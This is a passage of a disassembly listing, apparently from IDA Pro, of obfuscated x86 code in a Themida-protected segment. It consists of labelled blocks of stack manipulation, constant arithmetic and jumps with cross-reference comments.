; ---------------------------------------------------------------------------


loc_554F0E:				; CODE XREF: Themida_:0055B2EEj
		add	edi, ebx
		add	edi, 5AD1460Eh
		jmp	loc_5548DC
; ---------------------------------------------------------------------------


loc_554F1B:				; CODE XREF: Themida_:0055BA0Dj
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		push	2
		pop	ebx
		add	ecx, 4919166Bh
		add	ecx, ebx
		push	esi
		mov	esi, 4DD85435h
		and	esi, 5841467Fh
		jmp	loc_554436
; ---------------------------------------------------------------------------


loc_554F41:				; CODE XREF: Themida_:0055DF56j
		push	6692h
		mov	[esp], ebx
		mov	ebx, 2A6D01DBh
		jmp	loc_556065
; ---------------------------------------------------------------------------


loc_554F53:				; CODE XREF: Themida_:0055364Cj
		push	ebp
		mov	ebp, 52B3566Ch
		dec	ebp
		xor	ebp, 52B3566Fh
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	bl, al
		push	ebx
		mov	bl, al
		push	eax
		jmp	loc_553782
; ---------------------------------------------------------------------------
		sub	al, 51h
		mov	edx, [esp]
		jmp	loc_55C87C
; ---------------------------------------------------------------------------


loc_554F7F:				; CODE XREF: Themida_:0055E92Fj
		xor	esi, 2192137h
		jmp	loc_556DC6
; ---------------------------------------------------------------------------


loc_554F8A:				; CODE XREF: Themida_:00552DECj
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 41651EABh
		jmp	loc_559F39
; ---------------------------------------------------------------------------


loc_554F9A:				; CODE XREF: Themida_:00554A41j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554F9F:				; CODE XREF: Themida_:0055C00Aj
		sub	eax, 74E0555Bh
		push	3DAh
		mov	[esp], esi
		jmp	loc_5531EE
; ---------------------------------------------------------------------------


loc_554FB1:				; CODE XREF: Themida_:0055DDE9j
		shl	al, 5
		sub	al, 5Dh
		xor	dh, al
		pop	eax
		sub	bl, 6Ch
		jmp	loc_55F01A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_554FC1:				; CODE XREF: sub_5747D8-1A5DDj
		add	edi, 2
		xchg	edi, [esp+24h+var_24]
		pop	esp
		sub	bl, 7
		jmp	loc_55C495
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_554FD3:				; CODE XREF: Themida_:00556684j
		shl	ebx, 8
		jmp	loc_5539B2
; ---------------------------------------------------------------------------


loc_554FDB:				; CODE XREF: Themida_:0055D08Ej
		sub	bl, 30h
		add	bl, al
		jmp	loc_55E42E
; ---------------------------------------------------------------------------


loc_554FE5:				; CODE XREF: Themida_:0055AC4Ej
		push	4974595Fh
		jmp	loc_55D69E
; ---------------------------------------------------------------------------


loc_554FEF:				; CODE XREF: Themida_:0055C66Bj
		mov	ebp, 2F321CDEh
		shr	ebp, 3
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_557B04
; ---------------------------------------------------------------------------


loc_555008:				; CODE XREF: Themida_:0055D5AAj
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55DF50
; ---------------------------------------------------------------------------


loc_55502A:				; CODE XREF: Themida_:00554D89j
		xor	edi, 25732F6Eh
		jmp	loc_55E00F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		jmp	loc_55A831
; ---------------------------------------------------------------------------


loc_55503F:				; CODE XREF: Themida_:0055A92Ej
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_5590B4
; ---------------------------------------------------------------------------


loc_555050:				; CODE XREF: Themida_:0055648Cj
		shr	eax, 7
		shl	eax, 8
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		jmp	loc_553F12
; ---------------------------------------------------------------------------


loc_555065:				; CODE XREF: Themida_:0055335Dj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4


loc_555070:				; DATA XREF: Themida_:0056DF30o
		jmp	loc_55618E
; ---------------------------------------------------------------------------


loc_555075:				; CODE XREF: Themida_:0055D7B0j
		sub	edi, 4CA425BBh
		jmp	loc_55BE59
; ---------------------------------------------------------------------------


loc_555080:				; CODE XREF: Themida_:0055CC3Dj
		push	esi
		push	edx
		jmp	loc_55D3FC
; ---------------------------------------------------------------------------


loc_555087:				; CODE XREF: Themida_:00556CE6j
		neg	cl
		add	cl, 0ADh
		or	dl, cl
		pop	ecx
		push	6DC2h
		mov	[esp], eax
		jmp	loc_553218
; ---------------------------------------------------------------------------


loc_55509C:				; CODE XREF: Themida_:00553014j
		add	edx, 53C57CDCh
		jmp	loc_559C32
; ---------------------------------------------------------------------------


loc_5550A7:				; CODE XREF: Themida_:00552E8Fj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55A561
; ---------------------------------------------------------------------------


loc_5550B1:				; CODE XREF: Themida_:00559056j
		neg	ecx
		push	ebx
		mov	ebx, 700345D8h
		add	ebx, 37455446h
		xor	ebx, 506054FBh
		add	ebx, 0FFFFFFFFh
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_559BBB
; ---------------------------------------------------------------------------


loc_5550D2:				; CODE XREF: Themida_:0055EC06j
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5550EE:				; CODE XREF: Themida_:00557B9Fj
		sub	bp, 0B25h
		push	bp
		xchg	si, [esp]
		not	si
		xchg	si, [esp]
		mov	bp, [esp]
		add	esp, 2
		push	esi
		mov	si, 3CE8h
		sub	si, 1
		jmp	loc_555F66
; ---------------------------------------------------------------------------


loc_555119:				; CODE XREF: Themida_:0055603Fj
		sub	edi, 0FFFFFFFFh
		dec	edi
		shr	edi, 6
		or	edi, 1C294FACh
		add	edi, 1392371h
		add	edi, 0E148DCE4h
		jmp	loc_5572FF
; ---------------------------------------------------------------------------


loc_55513A:				; CODE XREF: Themida_:0055B88Fj
		add	ebx, 618B4C94h
		add	ebx, ebp
		sub	ebx, 618B4C94h
		add	ebx, 37AC614Ch
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mul	ecx
		push	0B1Bh
		jmp	loc_554A3C
; ---------------------------------------------------------------------------


loc_55515F:				; CODE XREF: Themida_:0055C80Aj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55516F:				; CODE XREF: Themida_:0055CD95j
		mov	[esp], eax
		mov	eax, 5481356h
		shr	eax, 2
		push	eax
		dec	dword ptr [esp]
		jmp	loc_558220
; ---------------------------------------------------------------------------


loc_555183:				; CODE XREF: Themida_:0055AFB3j
		sub	edi, 3CCB2DC8h
		sub	edi, 1BA02B02h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	57FAh
		mov	[esp], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		jmp	loc_55B15A
; ---------------------------------------------------------------------------


loc_5551B1:				; CODE XREF: Themida_:00558967j
		push	eax
		jmp	loc_5568A7
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_557BFB
; ---------------------------------------------------------------------------


loc_5551C6:				; CODE XREF: Themida_:00558302j
		sub	esp, 4
		mov	[esp], ebp
		push	3142h
		jmp	loc_558990
; ---------------------------------------------------------------------------


loc_5551D9:				; CODE XREF: Themida_:0055D58Fj
		add	edx, 17EE0843h
		add	edx, ecx
		push	edi
		jmp	loc_5546FD
; ---------------------------------------------------------------------------


loc_5551E7:				; CODE XREF: Themida_:00553167j
		neg	bl
		jmp	loc_55E5F4
; ---------------------------------------------------------------------------


loc_5551EE:				; CODE XREF: Themida_:0055DCCDj
		dec	ecx
		xor	ecx, 653F06EFh
		mov	edi, ecx
		pop	ecx
		sub	dword ptr [esp+4], 21967CABh
		add	[esp+4], edi
		add	dword ptr [esp+4], 21967CABh
		pop	edi
		pop	edx
		add	edx, 4
		jmp	loc_55D034
; ---------------------------------------------------------------------------


loc_555219:				; CODE XREF: Themida_:00557A83j
		mov	al, 9Eh
		shr	al, 7
		sub	al, 90h
		add	al, 0FFh
		sub	al, 3Ch
		jmp	loc_558007
; ---------------------------------------------------------------------------


loc_555229:				; CODE XREF: Themida_:0055642Cj
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebp
		jmp	loc_55E52A
; ---------------------------------------------------------------------------


loc_555234:				; CODE XREF: Themida_:005564CAj
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555239:				; CODE XREF: Themida_:005553E9j
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_556893
; ---------------------------------------------------------------------------


loc_555247:				; CODE XREF: Themida_:00553230j
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555259:				; CODE XREF: Themida_:00557903j
		add	esi, 65684FDDh
		jmp	loc_55D093
; ---------------------------------------------------------------------------


loc_555264:				; CODE XREF: Themida_:0055B568j
		pop	esp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55526A:				; CODE XREF: Themida_:0055D2EAj
		mov	ecx, edx
		pop	edx
		jmp	loc_55ECF7
; ---------------------------------------------------------------------------


loc_555272:				; CODE XREF: Themida_:0055EAFAj
		push	eax
		mov	eax, 5FC10382h
		xor	eax, 0FAB1ECDh
		dec	eax
		jmp	loc_55ACE0
; ---------------------------------------------------------------------------


loc_555283:				; CODE XREF: Themida_:0055E7A3j
		neg	esi
		shr	esi, 7
		add	esi, 0FE6D66CBh
		jmp	loc_557EF5
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 517D0C4Dh
		push	ebp
		mov	ebp, 4E5E3488h
		jmp	loc_55A4DB
; ---------------------------------------------------------------------------


loc_5552A4:				; CODE XREF: Themida_:0055B0AAj
		sub	eax, edx
		pop	edx
		neg	eax
		jmp	loc_554069
; ---------------------------------------------------------------------------


loc_5552AE:				; CODE XREF: Themida_:0055ECF2j
		pop	ebx
		push	edx
		jmp	loc_554CF0
; ---------------------------------------------------------------------------


loc_5552B5:				; CODE XREF: Themida_:0055E3EAj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55814D
; ---------------------------------------------------------------------------


loc_5552C9:				; CODE XREF: Themida_:00557625j
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5577CB
; ---------------------------------------------------------------------------


loc_5552D1:				; CODE XREF: Themida_:005548CAj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		push	esp
		jmp	loc_5536C5
; ---------------------------------------------------------------------------


loc_5552E7:				; CODE XREF: Themida_:00559EE1j
		add	edi, esi
		pop	esi
		jmp	loc_55D195
; ---------------------------------------------------------------------------


loc_5552EF:				; CODE XREF: Themida_:00559404j
		push	esp
		pop	eax
		jmp	loc_55CBB0
; ---------------------------------------------------------------------------


loc_5552F6:				; CODE XREF: Themida_:00556C89j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C889
; ---------------------------------------------------------------------------


loc_55530F:				; CODE XREF: Themida_:005555F8j
		push	esp
		pop	edx
		push	ebx
		push	edx
		mov	edx, 58656415h
		push	ebx
		mov	ebx, 2C5C6B1Ch
		add	ebx, 1
		sub	ebx, 1
		add	ebx, 0E88B9F16h
		xor	edx, ebx
		pop	ebx
		dec	edx
		jmp	loc_558892
; ---------------------------------------------------------------------------


loc_555339:				; CODE XREF: Themida_:0055952Ej
		sub	ebx, 532E62C5h
		jmp	loc_557E97
; ---------------------------------------------------------------------------


loc_555344:				; CODE XREF: Themida_:00554451j
		add	dh, 47h
		sub	dh, bh
		sub	dh, 47h
		pop	ebx
		jmp	loc_559300
; ---------------------------------------------------------------------------


loc_555352:				; CODE XREF: Themida_:0055869Fj
		mov	[esp], ecx
		jmp	loc_555E7F
; ---------------------------------------------------------------------------


loc_55535A:				; CODE XREF: Themida_:0055EBA1j
		xor	bh, [esp]
		jmp	loc_556C22
; ---------------------------------------------------------------------------


loc_555362:				; CODE XREF: Themida_:00553D9Dj
		sub	al, dl
		push	ecx
		mov	cl, 56h
		push	cx
		not	byte ptr [esp]
		pop	cx
		jmp	loc_55900F
; ---------------------------------------------------------------------------


loc_555373:				; CODE XREF: Themida_:0055E71Ej
		pop	bx
		sub	al, 50h
		add	al, bl
		add	al, 50h
		push	4214h
		mov	[esp], ecx
		push	4C0Bh
		mov	[esp], eax
		push	ebx
		mov	bl, 41h
		sub	bl, 0AEh
		mov	ah, bl
		pop	ebx
		jmp	loc_557C54
; ---------------------------------------------------------------------------


loc_555399:				; CODE XREF: Themida_:0055A4B9j
		pop	ecx
		mov	ebp, eax
		pop	eax
		sub	dword ptr [esp+4], 63356C3Fh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 63356C3Fh
		jmp	loc_55BBED
; ---------------------------------------------------------------------------


loc_5553B6:				; CODE XREF: Themida_:0055A63Cj
		pop	esi
		jmp	loc_55CF43
; ---------------------------------------------------------------------------


loc_5553BC:				; CODE XREF: Themida_:005576C3j
		push	esp
		mov	edx, [esp]
		push	edx
		jmp	loc_557081
; ---------------------------------------------------------------------------


loc_5553C6:				; CODE XREF: Themida_:00555E86j
		pop	ecx
		mov	edi, ebx
		pop	ebx
		mov	ebp, edi
		mov	edi, [esp]
		jmp	loc_554B94
; ---------------------------------------------------------------------------


loc_5553D4:				; CODE XREF: Themida_:0055ED54j
		not	dword ptr [esp]
		pop	ebx
		push	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555239
; ---------------------------------------------------------------------------


loc_5553EE:				; CODE XREF: Themida_:0055653Ej
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55319A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		push	esp
		jmp	loc_55BDCF
; ---------------------------------------------------------------------------


loc_555402:				; CODE XREF: Themida_:0055419Aj
		push	0D4064F5Dh
		pop	esi
		add	ebp, 284412CCh
		add	ebp, 29E1715Ah
		add	ebp, esi
		sub	ebp, 29E1715Ah
		sub	ebp, 284412CCh
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_55E5C8
; ---------------------------------------------------------------------------


loc_55542D:				; CODE XREF: Themida_:0055BCC5j
		add	esp, 4
		sub	eax, 62BF1AC3h
		jmp	loc_556158
; ---------------------------------------------------------------------------


loc_55543D:				; CODE XREF: Themida_:0055BF61j
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	eax
		push	4
		pop	eax
		jmp	loc_55D524
; ---------------------------------------------------------------------------


loc_555456:				; CODE XREF: Themida_:005596E9j
		mov	esi, 1B672221h
		shr	esi, 7
		sub	esi, 142358BCh
		shl	esi, 4
		sub	esi, 0AE6550D1h
		sub	ebx, esi
		pop	esi
		sub	ebx, 1C6A79BAh
		sub	ebx, edi
		add	ebx, 1C6A79BAh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5F1720BEh
		dec	ebp
		shl	ebp, 1
		add	ebp, 54A3C635h
		add	ebx, ebp
		jmp	loc_55DE60
; ---------------------------------------------------------------------------


loc_555499:				; CODE XREF: Themida_:0055DACAj
		xor	edi, 79143CADh
		shl	edi, 7
		shr	edi, 4
		xor	edi, 0BF6356Ch
		sub	eax, 68720065h
		add	eax, edi
		jmp	loc_555B1F
; ---------------------------------------------------------------------------


loc_5554B7:				; CODE XREF: Themida_:0055E6CAj
		sub	ecx, 0D8914984h
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55B03E
; ---------------------------------------------------------------------------


loc_5554CA:				; CODE XREF: Themida_:00557B4Cj
		add	esi, 1FBB03DBh
		sub	esi, 18893A8Dh
		jmp	loc_55ED1D
; ---------------------------------------------------------------------------


loc_5554DB:				; CODE XREF: Themida_:005592A6j
		mov	esi, [esp]
		jmp	loc_55D134
; ---------------------------------------------------------------------------


loc_5554E3:				; CODE XREF: Themida_:00553753j
		add	ebx, ecx
		jmp	loc_55B56D
; ---------------------------------------------------------------------------


loc_5554EA:				; CODE XREF: Themida_:005541C1j
		add	ebp, edi
		add	ebp, 0DF23340h
		add	ebp, 5DD37C0Dh
		jmp	loc_554978
; ---------------------------------------------------------------------------


loc_5554FD:				; CODE XREF: Themida_:00556090j
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_55A165
; ---------------------------------------------------------------------------


loc_555506:				; CODE XREF: Themida_:00554783j
		pop	di
		add	di, 3733h
		pop	ebx
		jmp	loc_558440
; ---------------------------------------------------------------------------


loc_555513:				; CODE XREF: Themida_:005536C0j
		sub	esp, 4
		jmp	loc_55A5B5
; ---------------------------------------------------------------------------


loc_55551E:				; CODE XREF: Themida_:00554797j
		mov	[esp], esi
		push	eax
		mov	eax, ecx
		push	ebp
		push	edi
		mov	edi, eax
		mov	ebp, edi
		pop	edi
		push	ebp
		add	dword ptr [esp], 1BF366CDh
		jmp	loc_558C24
; ---------------------------------------------------------------------------


loc_555538:				; CODE XREF: Themida_:00554E9Ej
		push	ebx
		mov	bl, 4Ch
		sub	bl, 0FFh
		push	ecx
		push	3063h
		jmp	loc_55D363
; ---------------------------------------------------------------------------


loc_555549:				; CODE XREF: Themida_:0055D99Cj
		pop	edi
		pop	ebx
		push	eax
		xor	dword ptr [esp], 531B4801h
		pop	dword ptr [edi+20h]
		xor	dword ptr [edi+20h], 531B4801h
		jmp	loc_55BDF2
; ---------------------------------------------------------------------------


loc_555562:				; CODE XREF: Themida_:00558D9Cj
		dec	ebx
		not	ebx
		xor	ebx, 0EE5C1229h
		xor	ebp, ebx
		pop	ebx
		xor	eax, ebp
		jmp	loc_55AEF7
; ---------------------------------------------------------------------------


loc_555575:				; CODE XREF: Themida_:00557507j
		add	edi, 288C6ED6h
		sub	edi, 4E6564FDh
		add	edi, eax
		jmp	loc_5556F8
; ---------------------------------------------------------------------------


loc_555588:				; CODE XREF: Themida_:0055ACDBj
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 40BD2823h
		pop	ebx
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_5549A7
; ---------------------------------------------------------------------------


loc_5555A1:				; CODE XREF: Themida_:0055B143j
		pop	ebp
		push	1226h
		mov	[esp], ebx
		push	esi
		jmp	loc_559BF3
; ---------------------------------------------------------------------------


loc_5555B0:				; CODE XREF: Themida_:0055323Cj
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 22061FB3h
		inc	ecx
		and	ecx, 737B2159h
		jmp	loc_557F56
; ---------------------------------------------------------------------------


loc_5555D3:				; CODE XREF: Themida_:005558F9j
		shr	edi, 8
		push	edx
		mov	edx, 0
		sub	edx, edi
		xchg	edx, edi
		pop	edx
		sub	edi, 14EB199Ah
		dec	edi
		jmp	loc_55E599
; ---------------------------------------------------------------------------


loc_5555ED:				; CODE XREF: Themida_:0055DA74j
		push	eax
		jmp	loc_556B0B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_55530F
; ---------------------------------------------------------------------------


loc_5555FD:				; CODE XREF: Themida_:00554DD9j
		not	ecx
		jmp	loc_55CA29
; ---------------------------------------------------------------------------


loc_555604:				; CODE XREF: Themida_:0055877Fj
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_55D1E9
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A89A
; ---------------------------------------------------------------------------


loc_555623:				; CODE XREF: Themida_:00556BB7j
		and	edi, eax
		jmp	loc_556385
; ---------------------------------------------------------------------------


loc_55562A:				; CODE XREF: Themida_:00555D80j
		add	al, 7Ah
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0ADh
		sub	cl, 1
		dec	cl
		shl	cl, 8
		add	cl, 0FFh
		jmp	loc_55C936
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	468Ah
		mov	[esp], edi
		jmp	loc_55BF2B
; ---------------------------------------------------------------------------


loc_555659:				; CODE XREF: Themida_:00556D24j
		mov	esi, 3BB447C1h
		shr	esi, 3
		neg	esi
		and	esi, 2038053Dh
		jmp	loc_559492
; ---------------------------------------------------------------------------


loc_55566E:				; CODE XREF: Themida_:00559EAEj
		sub	esp, 4
		mov	[esp], esi
		push	42B91247h
		jmp	loc_556A57
; ---------------------------------------------------------------------------


loc_555681:				; CODE XREF: Themida_:00558085j
		mov	eax, esi
		pop	esi
		shl	eax, 3
		shl	eax, 1
		neg	eax
		push	2859h
		jmp	loc_559DFB
; ---------------------------------------------------------------------------


loc_555695:				; CODE XREF: Themida_:0055406Aj
		mov	esi, 7264571h
		dec	esi
		add	esi, 488B498Dh
		xor	eax, esi
		pop	esi
		push	eax
		xor	dword ptr [esp], 27096D13h
		pop	edx
		xor	edx, 27096D13h
		jmp	loc_556279
; ---------------------------------------------------------------------------


loc_5556B8:				; CODE XREF: Themida_:0055AECFj
		xor	esi, edi
		xor	edi, esi
		xor	ecx, edi
		xor	edi, ecx
		jmp	loc_55B771
; ---------------------------------------------------------------------------


loc_5556C5:				; CODE XREF: Themida_:0055AEEAj
		pop	edi
		jmp	loc_55B21F
; ---------------------------------------------------------------------------


loc_5556CB:				; CODE XREF: Themida_:0055EE12j
		sub	ecx, 10F20699h
		add	ecx, edx
		add	ecx, 10F20699h
		jmp	loc_55B0C5
; ---------------------------------------------------------------------------


loc_5556DE:				; CODE XREF: Themida_:0055C943j
		xor	ebx, [esp]
		pop	esp
		push	39EAh
		mov	[esp], edi
		push	ebp
		jmp	loc_556F28
; ---------------------------------------------------------------------------


loc_5556F0:				; CODE XREF: Themida_:00558E3Cj
		pop	eax
		inc	eax
		push	edx
		jmp	loc_557D3F
; ---------------------------------------------------------------------------


loc_5556F8:				; CODE XREF: Themida_:00555583j
		add	edi, 4E6564FDh
		sub	edi, 288C6ED6h
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_55BE16
; ---------------------------------------------------------------------------


loc_55570F:				; CODE XREF: Themida_:0055B009j
		push	4D12h
		mov	[esp], edx
		push	ecx
		mov	ch, 53h
		push	1E3Dh
		jmp	loc_555B11
; ---------------------------------------------------------------------------


loc_555724:				; CODE XREF: Themida_:0055BB13j
		push	10E5h
		mov	[esp], esp
		jmp	loc_5535B4
; ---------------------------------------------------------------------------


loc_555731:				; CODE XREF: Themida_:0055E3DAj
		pop	ecx
		mov	ebp, edx
		pop	edx
		push	ebp
		jmp	loc_555D33
; ---------------------------------------------------------------------------


loc_55573B:				; CODE XREF: Themida_:00556B58j
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 3F0966DDh
		shl	ebx, 7
		or	ebx, 43A51A39h
		and	ebx, 125674A8h
		and	ebx, 6F40407Bh
		push	esi
		mov	esi, 72044DFh
		not	esi
		jmp	loc_553106
; ---------------------------------------------------------------------------


loc_55576D:				; CODE XREF: Themida_:0055A437j
		push	ebp
		push	19810A97h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	eax, 517D0C4Dh
		jmp	loc_556D29
; ---------------------------------------------------------------------------


loc_55579D:				; CODE XREF: Themida_:0055BE49j
		xor	edx, edi
		jmp	loc_55AFA4
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5593FC
; ---------------------------------------------------------------------------


loc_5557AD:				; CODE XREF: Themida_:00553881j
		mov	[esp], esi
		push	ebx
		mov	ebx, 62C7570Dh
		dec	ebx
		xor	ebx, 209517B4h
		push	edx
		push	1
		jmp	loc_557565
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		jmp	loc_55CA23
; ---------------------------------------------------------------------------


loc_5557D0:				; CODE XREF: Themida_:00555BC4j
		pop	ecx
		xor	edi, [esp]
		jmp	loc_554907
; ---------------------------------------------------------------------------


loc_5557D9:				; CODE XREF: Themida_:00553771j
		push	ax
		push	ecx
		mov	ch, 0BEh
		or	ch, 40h
		dec	ch
		jmp	loc_55CE5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_5557E8:				; CODE XREF: sub_5747D8-21407j
		sub	ch, 92h
		push	ax
		jmp	loc_55EABF
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_5557F2:				; CODE XREF: Themida_:0055E0B2j
		xor	al, 86h
		mov	cl, al
		pop	eax
		xor	cl, dl
		pop	edx
		add	bh, 0A3h
		jmp	loc_556CEB
; ---------------------------------------------------------------------------


loc_555802:				; CODE XREF: Themida_:00556216j
		sub	eax, 1E332B8Eh
		pop	ebp
		xchg	eax, [esp]
		jmp	loc_55A819
; ---------------------------------------------------------------------------


loc_555810:				; CODE XREF: Themida_:00558993j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55A96E
; ---------------------------------------------------------------------------


loc_555825:				; CODE XREF: Themida_:00553917j
		neg	edi
		jmp	loc_558248
; ---------------------------------------------------------------------------


loc_55582C:				; CODE XREF: Themida_:005531A9j
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555837:				; CODE XREF: Themida_:0055C744j
		push	eax
		mov	eax, 737A6AF0h
		neg	eax
		jmp	loc_55A6AB
; ---------------------------------------------------------------------------


loc_555844:				; CODE XREF: Themida_:0055E5C3j
		mov	ebp, 1FEF0CDDh
		shr	ebp, 4
		shl	ebp, 1
		sub	ebp, 3FDE196h
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_555862:				; CODE XREF: Themida_:00553793j
		add	eax, 183A0FA3h
		push	98Eh
		jmp	loc_553826
; ---------------------------------------------------------------------------


loc_555871:				; CODE XREF: Themida_:0055E115j
		mov	bl, 0E9h
		jmp	loc_553BF1
; ---------------------------------------------------------------------------


loc_555878:				; CODE XREF: Themida_:0055D13Aj
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_55DA1D
; ---------------------------------------------------------------------------


loc_555886:				; CODE XREF: Themida_:0055E39Bj
		push	eax
		mov	al, 54h
		jmp	loc_558983
; ---------------------------------------------------------------------------


loc_55588E:				; CODE XREF: Themida_:00554A82j
		sub	edx, 8600101h
		add	ecx, edx
		pop	edx
		jmp	loc_55EDB0
; ---------------------------------------------------------------------------


loc_55589C:				; CODE XREF: Themida_:0055AA78j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55D634
; ---------------------------------------------------------------------------


loc_5558AC:				; CODE XREF: Themida_:0055B559j
		push	edx
		mov	edx, 18174E4h
		jmp	loc_55901B
; ---------------------------------------------------------------------------


loc_5558B7:				; CODE XREF: Themida_:0055F1A1j
		mov	al, dh
		pop	edx
		xor	bh, al
		pop	ax
		add	dl, bh
		pop	ebx
		add	al, dl
		jmp	loc_55CDA5
; ---------------------------------------------------------------------------


loc_5558C8:				; CODE XREF: Themida_:00556847j
		xchg	ebx, [esp]
		jmp	loc_55DBEB
; ---------------------------------------------------------------------------


loc_5558D0:				; CODE XREF: Themida_:0055B039j
		mov	ebp, [esp]
		push	edi
		jmp	loc_55895F
; ---------------------------------------------------------------------------


loc_5558D9:				; CODE XREF: Themida_:00557A72j
		push	1E40h
		mov	[esp], eax
		jmp	loc_55A6FB
; ---------------------------------------------------------------------------


loc_5558E6:				; CODE XREF: Themida_:0055629Dj
		xor	[esp], edx
		jmp	loc_5534CE
; ---------------------------------------------------------------------------


loc_5558EE:				; CODE XREF: Themida_:0055B96Dj
		mov	edi, 41BF4506h
		or	edi, 4D3500F0h
		jmp	loc_5555D3
; ---------------------------------------------------------------------------


loc_5558FE:				; CODE XREF: Themida_:0055D5C8j
		sub	ebx, 0FFFFFFFFh
		shl	ebx, 8
		push	esi
		mov	esi, 4C4C48C8h
		shr	esi, 5
		xor	esi, 28FAE49Eh
		add	ebx, 3E7B2638h
		sub	ebx, esi
		sub	ebx, 3E7B2638h
		pop	esi
		add	ebx, edi
		mov	[ebx], al
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_556E58
; ---------------------------------------------------------------------------


loc_55592F:				; CODE XREF: Themida_:005583A0j
		mov	ecx, 4
		sub	eax, 92C2385h
		add	eax, ecx
		add	eax, 92C2385h
		jmp	loc_55CCBF
; ---------------------------------------------------------------------------


loc_555945:				; CODE XREF: Themida_:0055E174j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 55D7149Dh
		jmp	loc_553DB6
; ---------------------------------------------------------------------------


loc_555966:				; CODE XREF: Themida_:0055A8A6j
		push	4424h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
